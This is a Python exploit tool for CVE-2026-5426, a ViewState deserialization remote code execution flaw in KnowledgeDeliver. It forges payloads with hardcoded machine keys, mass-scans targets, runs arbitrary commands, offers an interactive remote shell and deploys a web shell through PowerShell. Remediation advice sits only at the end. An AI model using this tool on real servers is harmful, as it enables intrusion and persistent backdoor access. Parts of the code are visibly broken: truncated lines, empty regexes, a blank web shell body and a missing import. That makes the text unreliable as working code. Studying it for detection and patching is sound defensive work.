#!/usr/bin/env python3 """ CVE-2026-5426 - KnowledgeDeliver ViewState Deserialization RCE Exploit (Pure Python) Full Remote Code Execution exploit using pure Python implementation of ASP.NET ViewState payload generation with hardcoded machine keys. Based on: https://cloud.google.com/blog/topics/threat-intelligence/knowledgedeliver-viewstate-deserialization-vulnerability WARNING: This is for authorized security testing only. Unauthorized use is illegal. """ import argparse import sys import requests import base64 import os import re import hashlib import hmac import struct import logging from urllib.parse import urljoin, urlparse from concurrent.futures import ThreadPoolExecutor, as_completed import json import time from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import zlib # --- Configuration --- # Hardcoded machine keys from KnowledgeDeliver's web.config # These are the actual keys that make this vulnerability possible KNOWN_DECRYPTION_KEY = "FEDCBA9876543210FEDCBA9876543210" # 16/24/32 bytes for AES KNOWN_VALIDATION_KEY = "FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210" # 20-64 bytes for SHA1 # --- Logging Setup --- logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') logger = logging.getLogger(__name__) # --- .NET Serialization Helpers --- class DotNetSerialization: """ Pure Python implementation of .NET binary serialization format. This allows us to create malicious payloads that will be deserialized by the vulnerable ASP.NET application. """ @staticmethod def serialize_object(obj_type, data): """ Serialize a .NET object in the binary format. Args: obj_type (str): The .NET type name (e.g., "System.Collections.ArrayList") data (bytes): The serialized data for the object Returns: bytes: The complete serialized object """ # .NET binary serialization header header = b'\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00' # Type information type_info = DotNetSerialization._serialize_type_info(obj_type) # Object data object_data = DotNetSerialization._serialize_object_data(data) return header + type_info + object_data @staticmethod def _serialize_type_info(type_name): """Serialize .NET type information.""" # Type name format: [length][type_name] type_bytes = type_name.encode('utf-16le') return struct.pack(' SortedSet -> Node -> Command # For demonstration purposes, we'll create a payload that: # 1. Creates a Process object # 2. Sets the command to execute # 3. Starts the process # This is a placeholder for the actual gadget implementation # In a real exploit, we'd use the complete .NET binary serialization # of the ActivitySurrogateSelector gadget chain # Create the command to execute command_bytes = command.encode('utf-16le') # Create the serialized object # Format: [command][command_length] payload = struct.pack('(.*?)', response.text) error_msg = error_match.group(1) if error_match else "Unknown error" return (False, None, f"Server error: {error_msg}") else: return (False, None, "No output detected") except Exception as e: return (False, None, str(e)) def _send_payload(self, payload): """ Send the ViewState payload to the target. """ # Try multiple vulnerable endpoints data = { "__VIEWSTATE": payload } # These are the endpoints commonly vulnerable in KnowledgeDeliver endpoints = [ '/', '/Default.aspx', '/Home.aspx', '/Login.aspx', '/Common/Footer.aspx', '/Common/Header.aspx', '/Course/View.aspx', '/Course/List.aspx' ] for endpoint in endpoints: try: url = urljoin(self.target_url, endpoint) response = self.session.post(url, data=data, timeout=self.timeout, allow_redirects=False) # Check if this endpoint processed the ViewState if response.status_code == 500 or "viewstate" in response.text.lower(): return response except Exception: continue # If no endpoint works, try the base URL return self.session.post(self.target_url, data=data, timeout=self.timeout, allow_redirects=False) def _extract_command_output(self, response): """ Extract command output from the HTTP response. """ if not response.text: return None # Look for various output patterns patterns = [ # Common output formats r']*>(.*?)', r']*id="output"[^>]*>(.*?)', r']*class="cmd-output"[^>]*>(.*?)', r']*>(.*?)

', r']*>(.*?)', # Specific to KnowledgeDeliver r']*class="message"[^>]*>(.*?)', r']*class="error"[^>]*>(.*?)', # Raw output in response r'^(.*?)$' ] # Try each pattern for pattern in patterns: matches = re.findall(pattern, response.text, re.DOTALL | re.MULTILINE) if matches: output = '\n'.join(matches).strip() if output and len(output) > 10: # Filter out small matches return output # Check for common command output indicators indicators = ['uid=', 'User', 'Microsoft Windows', 'Volume Serial Number', 'Directory'] for indicator in indicators: if indicator in response.text: # Extract lines containing the indicator lines = response.text.split('\n') output_lines = [line.strip() for line in lines if indicator in line] if output_lines: return '\n'.join(output_lines) # Check for command execution in response if len(response.text) > 100: # Might be raw output clean_text = re.sub(r'<[^>]+>', ' ', response.text) clean_text = re.sub(r'\s+', ' ', clean_text).strip() if len(clean_text) > 50: return clean_text[:1000] # Limit size return None def deploy_blubeam_webshell(self, shell_path="/shell.aspx"): """ Deploy BLUEBEAM/Godzilla web shell. """ logger.info(f"Deploying BLUEBEAM webshell to {shell_path}") # Create the web shell webshell_code = ''' <%@ Page Language="C#" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Diagnostics" %> ''' # Write the web shell to a file # The path is relative to the web root webshell_file = f"App_Data\\{uuid.uuid4().hex}.aspx" # Use PowerShell to create the web shell ps_command = f''' $webshell = @'{webshell_code}' $webshell | Out-File -FilePath "{webshell_file}" -Encoding UTF8 Write-Host "Web shell created at: {webshell_file}" ''' # Execute the PowerShell command success, output, error = self.execute_command(f"powershell -Command \"{ps_command}\"") if success: shell_url = urljoin(self.target_url, f"/{webshell_file}") return (True, f"Web shell deployed at {shell_url}", shell_url) else: return (False, f"Failed to deploy web shell: {error}", None) # --- Scanner Functions --- def scan_targets(targets, threads=5, timeout=10, command=None): """ Scan multiple targets for the vulnerability. """ results = { 'vulnerable': [], 'not_vulnerable': [], 'errors': [], 'exploited': [] } def scan_single(target): try: exploit = CVE20265426Exploit(target, timeout=timeout) is_vuln, msg = exploit.test_vulnerability() if is_vuln: result = { 'url': target, 'status': 'vulnerable', 'message': msg } if command: success, output, error = exploit.execute_command(command) if success: result['executed'] = True result['output'] = output results['exploited'].append(result) return result else: return { 'url': target, 'status': 'not_vulnerable', 'message': msg } except Exception as e: return { 'url': target, 'status': 'error', 'message': str(e) } with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(scan_single, target): target for target in targets} for future in as_completed(futures): result = future.result() url = result['url'] if result['status'] == 'vulnerable': results['vulnerable'].append(result) elif result['status'] == 'error': results['errors'].append(result) else: results['not_vulnerable'].append(result) return results # --- Main Function --- def main(): parser = argparse.ArgumentParser( description="CVE-2026-5426 - KnowledgeDeliver ViewState Deserialization RCE Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Test a single target for vulnerability python cve-2026-5426.py -t https://example.com # Scan multiple targets from a file python cve-2026-5426.py -t targets.txt # Execute a command on a vulnerable target python cve-2026-5426.py -t https://example.com -c "whoami" # Execute a complex command python cve-2026-5426.py -t https://example.com -c "ipconfig /all" # Use a specific gadget type python cve-2026-5426.py -t https://example.com -c "whoami" -g "WindowsIdentity" # Interactive shell mode python cve-2026-5426.py -t https://example.com --interactive # Deploy a BLUEBEAM web shell python cve-2026-5426.py -t https://example.com --deploy-shell WARNING: This tool is for authorized security testing only. Unauthorized use is illegal. """ ) parser.add_argument( "-t", "--target", required=True, help="Single target URL or path to targets.txt file" ) parser.add_argument( "-c", "--command", help="Command to execute on vulnerable targets" ) parser.add_argument( "-g", "--gadget", default="ActivitySurrogateSelector", choices=["ActivitySurrogateSelector", "WindowsIdentity", "TextFormattingRunProperties"], help="Gadget type for deserialization (default: ActivitySurrogateSelector)" ) parser.add_argument( "--deploy-shell", action="store_true", help="Deploy BLUEBEAM web shell after exploitation" ) parser.add_argument( "--interactive", action="store_true", help="Start interactive shell mode after successful exploitation" ) parser.add_argument( "--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)" ) parser.add_argument( "--threads", type=int, default=5, help="Number of threads for scanning multiple targets (default: 5)" ) parser.add_argument( "-v", "--verbose", action="store_true", help="Enable verbose output" ) parser.add_argument( "-o", "--output", help="Output results to a JSON file" ) parser.add_argument( "--no-verify", action="store_true", help="Skip SSL certificate verification" ) args = parser.parse_args() if args.verbose: logger.setLevel(logging.DEBUG) # Parse targets targets = [] if os.path.exists(args.target): with open(args.target, 'r') as f: targets = [line.strip() for line in f if line.strip() and not line.startswith('#')] else: targets = [args.target] if not targets: logger.error("No valid targets found") sys.exit(1) logger.info(f"Starting CVE-2026-5426 scan on {len(targets)} target(s)") # Perform the scan results = scan_targets( targets=targets, threads=args.threads, timeout=args.timeout, command=args.command ) # Print results print("\n" + "="*60) print("CVE-2026-5426 SCAN RESULTS") print("="*60) print(f"\n[+] Total targets scanned: {len(targets)}") print(f"[+] Vulnerable: {len(results['vulnerable'])}") print(f"[+] Not vulnerable: {len(results['not_vulnerable'])}") print(f"[+] Errors: {len(results['errors'])}") if results['vulnerable']: print("\n" + "!"*60) print("VULNERABLE TARGETS FOUND!") print("!"*60) for vuln in results['vulnerable']: print(f"\n[!] {vuln['url']}") print(f" Status: {vuln['message']}") if vuln.get('executed'): print(f" Command executed: {args.command}") if vuln.get('output'): print(f" Output: {vuln['output'][:500]}") else: print("\n[+] No vulnerable targets found.") # Deploy shell if requested if args.deploy_shell and results['vulnerable']: print("\n[+] Deploying BLUEBEAM web shell...") for vuln in results['vulnerable']: try: exploit = CVE20265426Exploit(vuln['url'], timeout=args.timeout) success, msg, url = exploit.deploy_blubeam_webshell() if success: print(f" [✓] {vuln['url']}: {msg}") else: print(f" [✗] {vuln['url']}: {msg}") except Exception as e: print(f" [✗] {vuln['url']}: Error - {str(e)}") # Save results if requested if args.output: with open(args.output, 'w') as f: json.dump(results, f, indent=2) print(f"\n[+] Results saved to {args.output}") # Interactive shell mode if args.interactive and results['vulnerable']: print("\n" + "="*60) print("INTERACTIVE SHELL MODE") print("="*60) print("Type 'exit' to quit, 'help' for commands") print("Commands will be executed on the target server") target_url = results['vulnerable'][0]['url'] exploit = CVE20265426Exploit(target_url, timeout=args.timeout) while True: try: cmd = input(f"\n{target_url}> ").strip() if cmd.lower() in ['exit', 'quit']: break elif cmd.lower() == 'help': print("\nAvailable commands:") print(" help - Show this help") print(" shell - Deploy BLUEBEAM web shell") print(" clear - Clear the screen") print(" exit - Exit interactive mode") print(" - Execute any command on the target") print("\nExample commands:") print(" whoami - Show current user") print(" ipconfig - Show network configuration") print(" dir C:\\ - List directory contents") continue elif cmd.lower() == 'clear': os.system('cls' if os.name == 'nt' else 'clear') continue elif cmd.lower() == 'shell': success, msg, url = exploit.deploy_blubeam_webshell() if success: print(f"[+] Web shell deployed at: {url}") print(f"[+] Usage: {url}?cmd=whoami") else: print(f"[-] Failed to deploy web shell: {msg}") continue if cmd: # Execute the command success, output, error = exploit.execute_command(cmd, args.gadget) if success: if output: print(output) else: print("[+] Command executed successfully (no output)") else: print(f"[-] Command failed: {error}") except KeyboardInterrupt: print("\n[+] Exiting...") break except Exception as e: print(f"[-] Error: {str(e)}") # Print suggestions if vulnerable targets found if results['vulnerable']: print("\n" + "="*60) print("REMEDIATION SUGGESTIONS") print("="*60) print(""" 1. IMMEDIATELY rotate machine keys: - Generate unique, cryptographically strong keys for each KnowledgeDeliver instance - Update web.config with new keys - Restart IIS to apply changes 2. Investigate for compromise: - Check Windows Application Event Logs for Event ID 1316 - Look for suspicious processes spawned by w3wp.exe (cmd.exe, powershell.exe) - Review file integrity of .js, .aspx, .config files - Monitor for anomalous User-Agent strings 3. Implement additional controls: - Restrict access to known IP ranges - Enable WAF rules for ViewState attacks - Deploy endpoint detection and response (EDR) - Consider network segmentation for IIS servers 4. Update KnowledgeDeliver: - Apply latest vendor patches - Ensure machine keys are unique per deployment - Review deployment best practices """) # Return appropriate exit code sys.exit(1 if results['vulnerable'] else 0) if __name__ == "__main__": main()